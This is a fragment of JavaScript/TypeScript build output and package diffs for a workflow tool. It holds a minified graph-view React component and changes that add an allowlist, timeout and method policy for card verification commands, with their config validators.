Set(f.filter(e=>e.declared).map(e=>e.id)),m=[{id:`card`,label:`Cards`},{id:`memory`,label:`Memory`},{id:`doc`,label:`Docs`},{id:`change`,label:`Changes`},{id:`release`,label:`Releases`}],h=f.map(e=>e.id).filter(e=>e!==`mention`),g=[`card`,`memory`,`doc`];function _(e,t){return e.kind!==`card`||!(t.status&&e.status!==t.status||t.area&&e.area!==t.area||t.type&&e.recordType!==t.type||t.priority&&e.priority!==t.priority||t.milestone&&e.milestone!==t.milestone)}function ee(e,t){let n=Object.values(t.record??{}).some(Boolean),r=e.filter(e=>t.kinds.has(e.kind)&&_(e,t.record??{}));if(n){let e=new Set(r.filter(e=>e.kind===`card`).map(e=>e.id)),n=new Set;for(let i of v(r,t.relations).links)e.has(i.from)&&n.add(i.to),e.has(i.to)&&n.add(i.from);r=r.filter(e=>e.kind===`card`||n.has(e.id))}let{links:i,degree:a}=v(r,t.relations),o=t.hideIsolated?r.filter(e=>a.get(e.id)):r;return{records:o,links:i,degree:a,isolated:r.length-o.length}}function v(e,t){let n=new Set(e.map(e=>e.id)),r=[],i=new Map;for(let a of e)for(let e of a.edges){if(!n.has(e.to)||e.to===a.id)continue;let o=e.rel.filter(e=>t.has(e));o.length&&(r.push({from:a.id,to:e.to,relations:o,declared:o.some(e=>p.has(e))}),i.set(a.id,(i.get(a.id)||0)+1),i.set(e.to,(i.get(e.to)||0)+1))}return{links:r,degree:i}}function y(e,t){let n=e*2.399963,r=18*Math.sqrt(e)+(t>200?40:0);return{x:Math.cos(n)*r,y:Math.sin(n)*r}}var b=9e3,x=.012,S=130,C=6e-4,w=.82;function te(e,t,n){for(let t=0;t<e.length;t+=1){let r=e[t];for(let i=t+1;i<e.length;i+=1){let a=e[i],o=r.x-a.x,s=r.y-a.y,c=o*o+s*s;c<1&&(o=(t-i)*.5,s=.5,c=o*o+s*s);let l=Math.sqrt(c),u=b*n/c,d=o/l*u,f=s/l*u;r.vx+=d,r.vy+=f,a.vx-=d,a.vy-=f}}let r=new Map(e.map(e=>[e.id,e]));for(let e of t){let t=r.get(e.from),i=r.get(e.to);if(!t||!i)continue;let a=i.x-t.x,o=i.y-t.y,s=Math.sqrt(a*a+o*o)||1,c=(s-S)*x*n,l=a/s*c,u=o/s*c;t.vx+=l,t.vy+=u,i.vx-=l,i.vy-=u}for(let t of e)t.vx-=t.x*C*n,t.vy-=t.y*C*n,t.vx*=w,t.vy*=w,t.x+=t.vx,t.y+=t.vy}function T(e,t,n){let r=new Map(e.map(e=>[e.id,e]));return t.map((e,i)=>{let a=r.get(e.id)??y(i,t.length);return{id:e.id,x:a.x,y:a.y,vx:0,vy:0,record:e,degree:n.get(e.id)||0}})}function E(e,t,n,r){let i=n-e,a=r-t,o=Math.sqrt(i*i+a*a)||1,s=Math.min(o*.18,60);return`M ${e} ${t} Q ${(e+n)/2-a/o*s} ${(t+r)/2+i/o*s} ${n} ${r}`}var D=.08;function O(e,t,n,r){let i=Math.min(4,Math.max(D,e.k*r));return{k:i,x:t-(t-e.x)/e.k*i,y:n-(n-e.y)/e.k*i}}function k(e,t,n){return{x:t-e.x,y:n-e.y}}function A(e){let t=1/0,n=1/0,r=-1/0,i=-1/0;for(let a of e)t=Math.min(t,a.x),n=Math.min(n,a.y),r=Math.max(r,a.x),i=Math.max(i,a.y);return{minX:t,minY:n,maxX:r,maxY:i}}var j=n(),M=`workfile-workflow-filters`;function N(){let e={relations:[...h],kinds:[...g],hideIsolated:!0};try{let t=localStorage.getItem(M);if(!t)return e;let n=JSON.parse(t);return{relations:Array.isArray(n.relations)?n.relations:e.relations,kinds:Array.isArray(n.kinds)?n.kinds:e.kinds,hideIsolated:typeof n.hideIsolated==`boolean`?n.hideIsolated:e.hideIsolated}}catch{return e}}function P({on:e,onClick:t,children:n,dashed:r}){return(0,j.jsx)(`button`,{type:`button`,"aria-pressed":e,onClick:t,className:s(`shrink-0 rounded-full border px-2 py-0.5 text-[11px] whitespace-nowrap transition-colors`,e?`border-ring bg-accent text-foreground`:`border-border text-muted-foreground hover:bg-accent/50`,r&&`border-dashed`),children:n})}function F({selectedId:e,onSelect:t,filters:n}){let[p,h]=(0,d.useState)(null),[g,_]=(0,d.useState)(null),v=(0,d.useRef)(N()),[y,b]=(0,d.useState)(()=>new Set(v.current.relations)),[x,S]=(0,d.useState)(()=>new Set(v.current.kinds)),[C,w]=(0,d.useState)(v.current.hideIsolated),[D,F]=(0,d.useState)(null),I=(0,d.useRef)(0),[L,R]=(0,d.useState)({x:0,y:0,k:1}),[,z]=(0,d.useState)(0),B=(0,d.useRef)({nodes:[],links:[],alpha:0}),V=(0,d.useRef)(null),H=(0,d.useRef)(!1);(0,d.useEffect)(()=>{let e=!0;return c.graph().then(t=>{e&&h(t.records)}).catch(t=>{e&&_(t.message)}),()=>{e=!1}},[]),(0,d.useEffect)(()=>{localStorage.setItem(M,JSON.stringify({relations:[...y],kinds:[...x],hideIsolated:C}))},[y,x,C]);let U=(0,d.useMemo)(()=>ee(p??[],{relations:y,kinds:x,hideIsolated:C,record:n}),[p,x,y,C,n]),W=(0,d.useMemo)(()=>Object.entries(n).filter(([,e])=>e).map(([e,t])=>`${e} ${t}`),[n]);(0,d.useEffect)(()=>{B.current.nodes=T(B.current.nodes,U.records,U.degree),B.current.links=U.links,B.current.alpha=1,z(e=>e+1)},[U]);let G=(0,d.useCallback)(()=>{let e=B.current.nodes,t=V.current;if(!e.length||!t)return;let n=t.getBoundingClientRect(),{minX:r,minY:i,maxX:a,maxY:o}=A(e),s=Math.min(3,Math.max(.15,Math.min(n.width/(a-r+160),n.height/(o-i+160))));R({k:s,x:n.width/2-(r+a)/2*s,y:n.height/2-(i+o)/2*s})},[]);(0,d.useEffect)(()=>{let e=0,t=()=>{let n=B.current;n.alpha>.02&&n.nodes.length&&(te(n.nodes,n.links,n.alpha),n.alpha*=.97,H.current||G(),z(e=>e+1)),e=requestAnimationFrame(t)};return e=requestAnimationFrame(t),()=>cancelAnimationFrame(e)},[G]);let ne=e=>{e.preventDefault();let t=V.current?.getBoundingClientRect();if(!t)return;let n=e.clientX-t.left,r=e.clientY-t.top;H.current=!0;let i=e.deltaY<0?1.12:.89;R(e=>O(e,n,r,i))},K=(0,d.useRef)(null),re=e=>{H.current=!0,K.current={x:e.clientX-L.x,y:e.clientY-L.y},e.target.setPointerCapture?.(e.pointerId)},ie=e=>{let t=K.current;if(!t)return;let n=k(t,e.clientX,e.clientY);R(e=>({...e,...n}))},q=()=>{K.current=null},J=(e,t,n)=>{let r=new Set(e);r.has(n)?r.delete(n):r.add(n),t(r)},Y=B.current.nodes,X=(0,d.useMemo)(()=>new Map(Y.map(e=>[e.id,e])),[Y,L]),Z=D??e,Q=Z?X.get(Z):void 0,$=(0,d.useMemo)(()=>{if(!Z)return null;let e=new Set([Z]);for(let t of U.links)t.from===Z&&e.add(t.to),t.to===Z&&e.add(t.from);return e},[Z,U.links]);return g?(0,j.jsxs)(`div`,{className:`p-6 text-sm text-muted-foreground`,children:[`The graph could not be read: `,g]}):(0,j.jsxs)(`div`,{className:`flex h-full min-h-0 flex-col`,children:[(0,j.jsxs)(l,{gutter:`3`,className:`shrink-0 border-b py-2`,after:(0,j.jsxs)(j.Fragment,{children:[(0,j.jsxs)(`span`,{className:`hidden text-[11px] whitespace-nowrap text-muted-foreground sm:inline`,children:[U.records.length,` nodes · `,U.links.length,` `,`edges`]}),(0,j.jsxs)(o,{type:`button`,variant:`outline`,size:`sm`,className:`shrink-0 px-2`,onClick:()=>{H.current=!1,G()},children:[(0,j.jsx)(i,{"aria-hidden":`true`,className:`size-3`}),`Fit`]})]}),children:[(0,j.jsx)(`div`,{className:`flex shrink-0 items-center gap-1`,children:m.map(e=>(0,j.jsx)(P,{on:x.has(e.id),onClick:()=>J(x,S,e.id),children:e.label},e.id))}),(0,j.jsx)(`span`,{className:`h-4 w-px shrink-0 bg-border`,"aria-hidden":`true`}),(0,j.jsx)(`div`,{className:`flex shrink-0 items-center gap-1`,children:f.map(e=>(0,j.jsx)(P,{on:y.has(e.id),dashed:!e.declared,onClick:()=>J(y,b,e.id),children:e.label},e.id))}),(0,j.jsx)(`span`,{className:`h-4 w-px shrink-0 bg-border`,"aria-hidden":`true`}),(0,j.jsx)(P,{on:C,onClick:()=>w(!C),children:`hide isolated`})]}),(0,j.jsxs)(`div`,{className:`relative min-h-0 flex-1 overflow-hidden`,children:[p?null:(0,j.jsxs)(`div`,{className:`flex h-full items-center justify-center gap-2 text-sm text-muted-foreground`,children:[(0,j.jsx)(r,{"aria-hidden":`true`,className:`size-4 animate-spin`}),`Reading the graph…`]}),p?.length&&!U.records.length?(0,j.jsx)(`div`,{className:`absolute inset-0 flex flex-col items-center justify-center gap-1.5 px-6 text-center text-sm text-muted-foreground`,children:U.isolated?(0,j.jsxs)(j.Fragment,{children:[(0,j.jsxs)(`span`,{children:[U.isolated,` `,U.isolated===1?`record matches`:`records match`,`, and`,` `,U.isolated===1?`it is`:`none is`,` `,`connected to anything else here.`]}),(0,j.jsx)(o,{type:`button`,variant:`outline`,size:`sm`,className:`px-2`,onClick:()=>w(!1),children:`Show unconnected records`})]}):(0,j.jsxs)(j.Fragment,{children:[(0,j.jsx)(`span`,{children:`No records match these filters.`}),(0,j.jsx)(`span`,{className:`text-xs`,children:W.length?`${W.join(`, `)} above, and ${x.size} of ${m.length} kinds here.`:`${x.size} of ${m.length} kinds and ${y.size} of ${f.length} relationships.`})]})}):null,(0,j.jsxs)(`svg`,{ref:V,role:`presentation`,className:`size-full cursor-grab touch-none active:cursor-grabbing`,onWheel:ne,onPointerDown:re,onPointerMove:ie,onPointerUp:q,onPointerLeave:q,children:[(0,j.jsx)(`defs`,{children:(0,j.jsx)(`marker`,{id:`workflow-arrow`,viewBox:`0 0 8 8`,refX:`7`,refY:`4`,markerWidth:`5`,markerHeight:`5`,orient:`auto-start-reverse`,children:(0,j.jsx)(`path`,{d:`M 0 1 L 7 4 L 0 7 z`,className:`fill-muted-foreground`})})}),(0,j.jsxs)(`g`,{transform:`translate(${L.x} ${L.y}) scale(${L.k})`,children:[U.links.map(e=>{let t=X.get(e.from),n=X.get(e.to);if(!t||!n)return null;let r=$&&!($.has(e.from)&&$.has(e.to));return(0,j.jsx)(`path`,{d:E(t.x,t.y,n.x,n.y),fill:`none`,markerEnd:`url(#workflow-arrow)`,className:s(`stroke-muted-foreground transition-opacity`,r?`opacity-10`:`opacity-45`),strokeWidth:1.2/L.k,strokeDasharray:e.declared?void 0:`${4/L.k} ${3/L.k}`,children:(0,j.jsx)(`title`,{children:`${e.from} → ${e.to}: ${e.relations.join(`, `)}`})},`${e.from}->${e.to}`)}),Y.map(n=>{let r=$&&!$.has(n.id),i=n.id===e,o=Math.min(16,6+Math.sqrt(n.degree)*2);return(0,j.jsxs)(`g`,{transform:`translate(${n.x} ${n.y})`,className:s(`cursor-pointer transition-opacity`,r&&`opacity-20`),onPointerEnter:()=>F(n.id),onPointerLeave:()=>F(null),onClick:e=>{e.stopPropagation(),I.current=performance.now(),t(n.id)},children:[(0,j.jsx)(`circle`,{r:o,style:{fill:a(n.record.status||`backlog`)},className:s(i?`stroke-foreground`:`stroke-background`),strokeWidth:(i?3:1.5)/L.k}),(0,j.jsx)(`title`,{children:`${n.id} — ${n.record.title}`}),L.k>.55||i||r===!1?(0,j.jsx)(`text`,{y:o+11/L.k,textAnchor:`middle`,className:`pointer-events-none fill-foreground`,style:{fontSize:`${11/L.k}px`},children:n.id}):null]},n.id)})]})]}),Q?(0,j.jsxs)(`div`,{className:`pointer-events-none absolute bottom-3 left-3 max-w-[min(30rem,70%)] rounded-md border bg-background/95 px-3 py-2 shadow-sm`,children:[(0,j.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,j.jsx)(`span`,{className:`font-mono text-[11px] font-medium`,children:Z}),(0,j.jsx)(u,{variant:`secondary`,className:`px-1.5 py-0 text-[10px] font-normal`,children:Q.record.recordType})]}),(0,j.jsx)(`p`,{className:`truncate text-xs text-muted-foreground`,children:Q.record.title})]}):null]})]})}export{F as WorkflowView}; |
@@ -21,5 +21,79 @@ export declare const SCHEMA_VERSION = 2; | ||
| */ | ||
| export declare const CARD_RESERVED_KEYS: readonly ["archived", "area", "body", "claimed_at", "claimed_by", "created", "depends", "due", "effort", "file", "id", "milestone", "origin", "parent", "priority", "related", "revision", "scope", "source", "start", "status", "tags", "title", "type", "updated"]; | ||
| export declare const CARD_RESERVED_KEYS: readonly ["archived", "area", "body", "claimed_at", "claimed_by", "created", "depends", "due", "effort", "file", "id", "milestone", "origin", "parent", "priority", "related", "revision", "scope", "source", "start", "status", "tags", "title", "type", "updated", "verified", "verify"]; | ||
| /** What an axis name may look like: a plain, greppable frontmatter key. */ | ||
| export declare const AXIS_NAME_RE: RegExp; | ||
| /** | ||
| * The only bytes an argv element may not hold, on either side of the command | ||
| * allowlist. | ||
| * | ||
| * This is a round-trip rule, not a shell-safety one. A command is spawned as an | ||
| * argument vector with no shell, so `;`, `|`, `*` and spaces are inert bytes | ||
| * inside one argument and are refused nowhere. Control characters are different | ||
| * in kind: frontmatter is line-oriented, so a newline inside an element would | ||
| * split the record on the next write and read back as something the author | ||
| * never wrote, and a NUL truncates in every consumer that hands the vector to | ||
| * the operating system. An element that cannot survive being written and read | ||
| * again cannot be matched against a declared prefix either, which is the whole | ||
| * mechanism. | ||
| * | ||
| * It lives here rather than beside the card module because config validation | ||
| * runs before any module loads, the same reason `AXIS_NAME_RE` does. | ||
| */ | ||
| export declare const ARGV_CONTROL_CHARACTER_RE: RegExp; | ||
| /** | ||
| * How long a card-declared command may run before `card verify` gives up on it. | ||
| * | ||
| * There has to be a number. A command that never exits otherwise holds the | ||
| * command that spawned it forever, and the caller most likely to meet that is | ||
| * an unattended CI job, which has no keyboard to interrupt it with. | ||
| * | ||
| * Ten minutes because the commands worth declaring are test suites, and a test | ||
| * suite that legitimately takes longer than ten minutes is a project fact | ||
| * rather than a default — which is what `cards.verification.timeoutSeconds` is | ||
| * for. Erring long is deliberate: a timeout that fires on a slow-but-working | ||
| * suite reports a failure that is not one, and a false red is how a gate stops | ||
| * being read. | ||
| */ | ||
| export declare const VERIFY_TIMEOUT_SECONDS_DEFAULT = 600; | ||
| /** | ||
| * The longest timeout a project may declare. | ||
| * | ||
| * Twelve hours is past every honest test suite and short of "never", which is | ||
| * the value this bound exists to keep out of the config: a workspace that | ||
| * declares no timeout at all is the state the default above exists to prevent, | ||
| * and `timeoutSeconds: 0` must not be a way back to it. | ||
| */ | ||
| export declare const VERIFY_TIMEOUT_SECONDS_MAXIMUM: number; | ||
| /** | ||
| * Every method a `verified` block may record. | ||
| * | ||
| * Here rather than beside the code that writes one, for the reason above: | ||
| * `cards.verification.methods` is a project's policy over this vocabulary, and | ||
| * config validation has to be able to refuse `["cy"]` before any module loads. | ||
| * `modules/cards/verification.ts` re-exports both lists, so the module that | ||
| * owns the meaning still owns the name every caller reaches for. | ||
| */ | ||
| export declare const VERIFICATION_METHODS: readonly ["local", "ci", "manual", "forced"]; | ||
| /** | ||
| * The methods a caller may ask for and a project may declare, which is the | ||
| * vocabulary above minus `forced`. | ||
| * | ||
| * `forced` is derived from what the acceptance gate waived and is never an | ||
| * input. Accepting it would create two places to disagree about whether a close | ||
| * was forced — the frontmatter and the trail line T-0184 already writes — and | ||
| * the record would have no way to say which one was right. A project cannot | ||
| * declare it either, for a stronger reason: a policy naming `forced` would be | ||
| * saying that walking past a gate is an accepted way to prove work. | ||
| */ | ||
| export declare const REQUESTABLE_VERIFICATION_METHODS: readonly ["local", "ci", "manual"]; | ||
| /** | ||
| * The key in `cards.verification.methods` that answers for every area the map | ||
| * does not name. | ||
| * | ||
| * Without it a project with eight areas states the same rule eight times, and — | ||
| * worse — the ninth area somebody adds next month escapes the policy in | ||
| * silence. `*` rather than a word, because an area may legally be called | ||
| * `default`. | ||
| */ | ||
| export declare const VERIFICATION_POLICY_DEFAULT_AREA = "*"; | ||
| export declare const DOC_KINDS: readonly ["architecture", "product", "runbook", "guide", "reference", "research", "spec", "handoff"]; | ||
@@ -62,3 +136,2 @@ /** How `workfile doc create` lays managed documents out on disk. */ | ||
| schemaVersion: 2; | ||
| language: "en"; | ||
| storage: { | ||
@@ -79,3 +152,8 @@ root: string; | ||
| axes: {}; | ||
| tags: undefined[]; | ||
| verification: { | ||
| commands: any[]; | ||
| timeoutSeconds: number; | ||
| methods: {}; | ||
| }; | ||
| tags: any[]; | ||
| }; | ||
@@ -82,0 +160,0 @@ docs: { |
@@ -69,6 +69,92 @@ export const SCHEMA_VERSION = 2; | ||
| "type", | ||
| "updated" | ||
| "updated", | ||
| "verified", | ||
| "verify" | ||
| ]); | ||
| /** What an axis name may look like: a plain, greppable frontmatter key. */ | ||
| export const AXIS_NAME_RE = /^[a-z][a-z0-9_]*$/; | ||
| /** | ||
| * The only bytes an argv element may not hold, on either side of the command | ||
| * allowlist. | ||
| * | ||
| * This is a round-trip rule, not a shell-safety one. A command is spawned as an | ||
| * argument vector with no shell, so `;`, `|`, `*` and spaces are inert bytes | ||
| * inside one argument and are refused nowhere. Control characters are different | ||
| * in kind: frontmatter is line-oriented, so a newline inside an element would | ||
| * split the record on the next write and read back as something the author | ||
| * never wrote, and a NUL truncates in every consumer that hands the vector to | ||
| * the operating system. An element that cannot survive being written and read | ||
| * again cannot be matched against a declared prefix either, which is the whole | ||
| * mechanism. | ||
| * | ||
| * It lives here rather than beside the card module because config validation | ||
| * runs before any module loads, the same reason `AXIS_NAME_RE` does. | ||
| */ | ||
| // eslint-disable-next-line no-control-regex | ||
| export const ARGV_CONTROL_CHARACTER_RE = /[\u0000-\u001f\u007f]/; | ||
| /** | ||
| * How long a card-declared command may run before `card verify` gives up on it. | ||
| * | ||
| * There has to be a number. A command that never exits otherwise holds the | ||
| * command that spawned it forever, and the caller most likely to meet that is | ||
| * an unattended CI job, which has no keyboard to interrupt it with. | ||
| * | ||
| * Ten minutes because the commands worth declaring are test suites, and a test | ||
| * suite that legitimately takes longer than ten minutes is a project fact | ||
| * rather than a default — which is what `cards.verification.timeoutSeconds` is | ||
| * for. Erring long is deliberate: a timeout that fires on a slow-but-working | ||
| * suite reports a failure that is not one, and a false red is how a gate stops | ||
| * being read. | ||
| */ | ||
| export const VERIFY_TIMEOUT_SECONDS_DEFAULT = 600; | ||
| /** | ||
| * The longest timeout a project may declare. | ||
| * | ||
| * Twelve hours is past every honest test suite and short of "never", which is | ||
| * the value this bound exists to keep out of the config: a workspace that | ||
| * declares no timeout at all is the state the default above exists to prevent, | ||
| * and `timeoutSeconds: 0` must not be a way back to it. | ||
| */ | ||
| export const VERIFY_TIMEOUT_SECONDS_MAXIMUM = 12 * 60 * 60; | ||
| /** | ||
| * Every method a `verified` block may record. | ||
| * | ||
| * Here rather than beside the code that writes one, for the reason above: | ||
| * `cards.verification.methods` is a project's policy over this vocabulary, and | ||
| * config validation has to be able to refuse `["cy"]` before any module loads. | ||
| * `modules/cards/verification.ts` re-exports both lists, so the module that | ||
| * owns the meaning still owns the name every caller reaches for. | ||
| */ | ||
| export const VERIFICATION_METHODS = Object.freeze([ | ||
| "local", | ||
| "ci", | ||
| "manual", | ||
| "forced" | ||
| ]); | ||
| /** | ||
| * The methods a caller may ask for and a project may declare, which is the | ||
| * vocabulary above minus `forced`. | ||
| * | ||
| * `forced` is derived from what the acceptance gate waived and is never an | ||
| * input. Accepting it would create two places to disagree about whether a close | ||
| * was forced — the frontmatter and the trail line T-0184 already writes — and | ||
| * the record would have no way to say which one was right. A project cannot | ||
| * declare it either, for a stronger reason: a policy naming `forced` would be | ||
| * saying that walking past a gate is an accepted way to prove work. | ||
| */ | ||
| export const REQUESTABLE_VERIFICATION_METHODS = Object.freeze([ | ||
| "local", | ||
| "ci", | ||
| "manual" | ||
| ]); | ||
| /** | ||
| * The key in `cards.verification.methods` that answers for every area the map | ||
| * does not name. | ||
| * | ||
| * Without it a project with eight areas states the same rule eight times, and — | ||
| * worse — the ninth area somebody adds next month escapes the policy in | ||
| * silence. `*` rather than a word, because an area may legally be called | ||
| * `default`. | ||
| */ | ||
| export const VERIFICATION_POLICY_DEFAULT_AREA = "*"; | ||
| export const DOC_KINDS = Object.freeze([ | ||
@@ -154,3 +240,2 @@ "architecture", | ||
| schemaVersion: SCHEMA_VERSION, | ||
| language: "en", | ||
| storage: { | ||
@@ -177,2 +262,26 @@ root: ".project", | ||
| axes: {}, | ||
| // What a card's `verify[].run` is allowed to be, as argv prefixes: | ||
| // `[["pnpm", "test"]]` permits `pnpm test` and anything that starts | ||
| // with it. Empty, so a project that declares nothing can run nothing — | ||
| // an allowlist that defaulted to something would be a policy nobody | ||
| // chose. Under `cards` rather than `ci` because it bounds what a card | ||
| // may say, which is true whether or not the `ci` module is enabled; | ||
| // `ci.enabled: false` is a legal config and a control a module toggle | ||
| // can switch off is a fail-open. | ||
| verification: { | ||
| commands: [], | ||
| // How long one of those commands may run before `card verify` | ||
| // stops waiting and reports it as timed out. See the constant for | ||
| // why it is ten minutes and why it is declarable. | ||
| timeoutSeconds: VERIFY_TIMEOUT_SECONDS_DEFAULT, | ||
| // Which verification methods each area accepts at `done`, as | ||
| // `{ core: ["ci"], "*": ["ci", "manual"] }`. Empty, and empty is | ||
| // load-bearing: a project that declares nothing accepts every | ||
| // method, which is what every workspace written before this key | ||
| // existed already did. The default cannot be the whole vocabulary | ||
| // instead, because "declares nothing" and "declares all three" | ||
| // would then be indistinguishable and neither could be reported as | ||
| // "this project has no opinion". | ||
| methods: {} | ||
| }, | ||
| tags: [] | ||
@@ -179,0 +288,0 @@ }, |
@@ -1,2 +0,2 @@ | ||
| import { AGENT_TARGET_IDS, AXIS_NAME_RE, CARD_RESERVED_KEYS, CI_TARGET_IDS, DOC_LAYOUTS, MEMORY_DEFINITIONS, SCHEMA_VERSION } from "./defaults.js"; | ||
| import { AGENT_TARGET_IDS, ARGV_CONTROL_CHARACTER_RE, AXIS_NAME_RE, CARD_RESERVED_KEYS, CI_TARGET_IDS, DOC_LAYOUTS, MEMORY_DEFINITIONS, REQUESTABLE_VERIFICATION_METHODS, SCHEMA_VERSION, VERIFY_TIMEOUT_SECONDS_MAXIMUM } from "./defaults.js"; | ||
| import { ConfigError } from "../core/errors.js"; | ||
@@ -59,2 +59,127 @@ function issue(code, path, message) { | ||
| } | ||
| /** | ||
| * `cards.verification.commands`: the argv prefixes a card's `verify[].run` may | ||
| * start with. | ||
| * | ||
| * An entry is an argv array, never a shell string, and the matcher that reads | ||
| * it compares elements. So the shapes refused here are the ones that would make | ||
| * that comparison mean something other than it says: | ||
| * | ||
| * - an empty array is a prefix of every command, so declaring one would allow | ||
| * everything while reading as though it allowed one thing; | ||
| * - a control character cannot survive the frontmatter round trip a card's own | ||
| * argv has to survive, so an entry holding one could never be matched by a | ||
| * command read back off disk; | ||
| * - an empty element is dropped by the codec on read, so the declared prefix | ||
| * and the stored prefix would differ by one position. | ||
| * | ||
| * Nothing else is refused. `;`, `|`, `*` and spaces are ordinary bytes inside | ||
| * one argument when the command is spawned without a shell, so a blacklist of | ||
| * them would close no hole and would cost every glob a real test invocation | ||
| * carries. | ||
| */ | ||
| function validateVerificationCommands(issues, commands) { | ||
| if (commands === undefined) | ||
| return; | ||
| if (!Array.isArray(commands)) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFICATION_INVALID", "cards.verification.commands", "cards.verification.commands must be an array of argv arrays")); | ||
| return; | ||
| } | ||
| commands.forEach((command, index) => { | ||
| const path = `cards.verification.commands[${index}]`; | ||
| if (!Array.isArray(command) || command.length === 0) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFY_COMMAND_INVALID", path, `${path} must be a non-empty array of argv strings; an empty one would be a prefix of every command`)); | ||
| return; | ||
| } | ||
| if (command.some((part) => typeof part !== "string" || | ||
| part === "" || | ||
| ARGV_CONTROL_CHARACTER_RE.test(part))) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFY_COMMAND_INVALID", path, `${path} values must be non-empty strings holding no control characters`)); | ||
| } | ||
| }); | ||
| const duplicates = duplicateValues(commands | ||
| .filter((command) => Array.isArray(command)) | ||
| .map((command) => JSON.stringify(command))); | ||
| if (duplicates.length) { | ||
| issues.push(issue("CONFIG_LIST_VALUE_DUPLICATE", "cards.verification.commands", `Duplicate cards.verification.commands values: ${duplicates.join(", ")}`)); | ||
| } | ||
| } | ||
| /** | ||
| * `cards.verification.methods`: which methods each area accepts at `done`. | ||
| * | ||
| * Shape and vocabulary only. Whether an area named here is one the project | ||
| * still declares is deliberately *not* checked, and that is the decision worth | ||
| * recording: a config that refuses to load takes `doctor`, `card list` and the | ||
| * UI down with it, so making this an error would mean that deleting an area | ||
| * from `cards.areas` bricks the workspace until somebody finds the second place | ||
| * that named it. It is `doctor`'s to report — `verification-policy-area-unknown` | ||
| * — beside the identical case `search.provider` has answered for since it | ||
| * existed. The rule holds symmetrically for an area added later, which is what | ||
| * `*` is for. | ||
| * | ||
| * An empty list is refused for the same reason an empty axis vocabulary is: it | ||
| * reads as "unrestricted" and would mean "impossible". Say `*` if what you want | ||
| * is a rule for everything. | ||
| */ | ||
| function validateVerificationMethods(issues, methods) { | ||
| if (methods === undefined) | ||
| return; | ||
| if (!methods || typeof methods !== "object" || Array.isArray(methods)) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFICATION_METHODS_INVALID", "cards.verification.methods", "cards.verification.methods must be an object mapping an area — or `*` — to the methods it accepts")); | ||
| return; | ||
| } | ||
| for (const [area, accepted] of Object.entries(methods)) { | ||
| const path = `cards.verification.methods.${area}`; | ||
| if (!Array.isArray(accepted)) { | ||
| issues.push(issue("CONFIG_LIST_INVALID", path, `${path} must be an array`)); | ||
| continue; | ||
| } | ||
| validateStringList(issues, accepted, path); | ||
| const unknown = accepted.filter((method) => typeof method === "string" && | ||
| !REQUESTABLE_VERIFICATION_METHODS.includes(method)); | ||
| if (unknown.length) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFICATION_METHOD_INVALID", path, `${path} names ${unknown.join(", ")}. Accepted: ` + | ||
| `${REQUESTABLE_VERIFICATION_METHODS.join(", ")}.` + | ||
| (unknown.includes("forced") | ||
| ? " `forced` is not declarable: it is what the record says when force walked a gate past something, so a policy naming it would accept being forced as proof." | ||
| : ""))); | ||
| } | ||
| } | ||
| } | ||
| /** | ||
| * `cards.verification.timeoutSeconds`: how long one declared command may run. | ||
| * | ||
| * Bounded on both sides, and both bounds say the same thing: a command that | ||
| * runs unattended has to end. Zero, a negative and a fraction of a second are | ||
| * refused because they would fire before any real command could exit, so every | ||
| * entry would report `timed-out` and the project would read the gate as broken | ||
| * rather than as configured; anything past the ceiling is `Infinity` written in | ||
| * digits, which is the state the default exists to prevent. | ||
| */ | ||
| function validateVerificationTimeout(issues, seconds) { | ||
| if (seconds === undefined) | ||
| return; | ||
| const path = "cards.verification.timeoutSeconds"; | ||
| if (typeof seconds !== "number" || | ||
| !Number.isInteger(seconds) || | ||
| seconds < 1 || | ||
| seconds > VERIFY_TIMEOUT_SECONDS_MAXIMUM) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFY_TIMEOUT_INVALID", path, `${path} must be a whole number of seconds between 1 and ` + | ||
| `${VERIFY_TIMEOUT_SECONDS_MAXIMUM}; got ${JSON.stringify(seconds)}`)); | ||
| } | ||
| } | ||
| /** Every half of `cards.verification`, which is one key holding three policies. */ | ||
| function validateCardVerification(issues, verification) { | ||
| if (verification === undefined) | ||
| return; | ||
| if (!verification || | ||
| typeof verification !== "object" || | ||
| Array.isArray(verification)) { | ||
| issues.push(issue("CONFIG_CARDS_VERIFICATION_INVALID", "cards.verification", "cards.verification must be an object holding `commands`, `methods`, `timeoutSeconds`, or any of them")); | ||
| return; | ||
| } | ||
| validateVerificationCommands(issues, verification.commands); | ||
| validateVerificationTimeout(issues, verification.timeoutSeconds); | ||
| validateVerificationMethods(issues, verification.methods); | ||
| } | ||
| function validatePrefix(issues, value, path, code) { | ||
@@ -94,2 +219,3 @@ if (!/^[A-Z][A-Z0-9]{0,7}$/.test(String(value || ""))) { | ||
| validateCardAxes(issues, config.cards.axes); | ||
| validateCardVerification(issues, config.cards.verification); | ||
| validatePrefix(issues, config.cards.idPrefix, "cards.idPrefix", "CONFIG_CARD_PREFIX_INVALID"); | ||
@@ -96,0 +222,0 @@ if (!Number.isInteger(config.cards.maxHierarchyDepth) || |
@@ -10,4 +10,6 @@ export declare const DEFAULT_LIST_KEYS: Set<string>; | ||
| * Obsidian, `yaml.dump` and most LLMs produce by default. | ||
| * - `records` — a block sequence whose items are mappings one level deep. | ||
| * - `mapping` — a mapping one level deep. | ||
| * - `literal` / `folded` — `summary: |` and `summary: >` block scalars. | ||
| * - `opaque` — nested mappings and anything else this codec will not rewrite. | ||
| * - `opaque` — anything else this codec will not rewrite. | ||
| * | ||
@@ -18,3 +20,3 @@ * The style is remembered so a patch re-emits the key the way the author wrote | ||
| */ | ||
| export type FrontmatterStyle = "flow" | "block" | "literal" | "folded" | "opaque"; | ||
| export type FrontmatterStyle = "flow" | "block" | "records" | "mapping" | "literal" | "folded" | "opaque"; | ||
| export declare function parseFrontmatter(content: any, { listKeys }?: { | ||
@@ -48,2 +50,20 @@ listKeys?: Set<string>; | ||
| }; | ||
| /** A mapping one level deep, with at least one field. */ | ||
| export declare function isFlatMapping(value: unknown): boolean; | ||
| /** A non-empty list of mappings one level deep. */ | ||
| export declare function isRecordList(value: unknown): boolean; | ||
| /** | ||
| * Renders one frontmatter entry, choosing the style from the value when the | ||
| * caller has none to preserve. | ||
| * | ||
| * `renderCard` and its equivalents build a whole header from scratch by | ||
| * interpolating `serializeValue` per key, which has no way to express a nested | ||
